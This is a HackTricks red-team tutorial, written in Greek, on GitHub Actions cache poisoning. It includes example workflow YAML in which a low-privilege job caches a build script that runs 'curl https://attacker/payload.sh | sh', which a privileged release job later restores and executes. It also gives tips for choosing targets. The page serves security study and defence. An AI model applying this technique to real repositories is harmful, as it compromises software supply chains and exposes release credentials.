GH Actions - Cache Poisoning

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

Το GitHub Actions cache είναι κοινό/παγκόσμιο για ένα αποθετήριο. Οποιοδήποτε workflow γνωρίζει ένα cache keyrestore-keys) μπορεί να γεμίσει αυτή την εγγραφή, ακόμη και αν το job έχει μόνο permissions: contents: read. Το GitHub δεν διαχωρίζει τα caches ανά workflow, τύπο event ή επίπεδο εμπιστοσύνης, οπότε ένας επιτιθέμενος που συμβιβάζει ένα job με χαμηλά δικαιώματα μπορεί να μολύνει ένα cache που ένα προνομιούχο release job θα αποκαταστήσει αργότερα. Αυτός είναι ο τρόπος που η Ultralytics compromise μεταπήδησε από ένα pull_request_target workflow στο PyPI publishing pipeline.

Βασικά στοιχεία επίθεσης

  • actions/cache παρέχει λειτουργίες restore και save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Η κλήση save επιτρέπεται για οποιοδήποτε job εκτός από πραγματικά μη αξιόπιστα workflows pull_request που ενεργοποιούνται από forks.
  • Οι εγγραφές cache ταυτοποιούνται μόνο από το key. Ευρείς restore-keys διευκολύνουν την έγχυση payloads επειδή ο επιτιθέμενος χρειάζεται μόνο να συγκρουστεί με ένα πρόθεμα.
  • Το αποθηκευμένο σύστημα αρχείων αποκαθίσταται αυτούσιο. Αν η cache περιέχει scripts ή binaries που εκτελούνται αργότερα, ο επιτιθέμενος ελέγχει αυτήν τη διαδρομή εκτέλεσης.

Παράδειγμα αλυσίδας εκμετάλλευσης

Author workflow (pull_request_target) μόλυνε την cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Η privileged workflow αποκαταστάθηκε και εκτέλεσε την poisoned cache:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Η δεύτερη εργασία εκτελεί πλέον κώδικα υπό τον έλεγχο του επιτιθέμενου ενώ κατέχει διαπιστευτήρια release (PyPI tokens, PATs, cloud deploy keys, κ.λπ.).

Practical exploitation tips

  • Στόχευσε workflows που ενεργοποιούνται από pull_request_target, issue_comment ή εντολές bot που εξακολουθούν να αποθηκεύουν caches· το GitHub τους επιτρέπει να αντικαθιστούν repository-wide keys ακόμη και όταν ο runner έχει μόνο read access στο repo.
  • Αναζήτησε καθοριστικά κλειδιά cache που επαναχρησιμοποιούνται πέρα από όρια εμπιστοσύνης (για παράδειγμα, pip-${{ hashFiles('poetry.lock') }}) ή επιτρεπτικά restore-keys, και αποθήκευσε το κακόβουλο tarball σου πριν τρέξει το privileged workflow.
  • Παρακολούθησε τα logs για εγγραφές Cache saved ή πρόσθεσε το δικό σου cache-save step ώστε η επόμενη release job να επαναφέρει το payload και να εκτελέσει τα trojanized scripts ή binaries.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks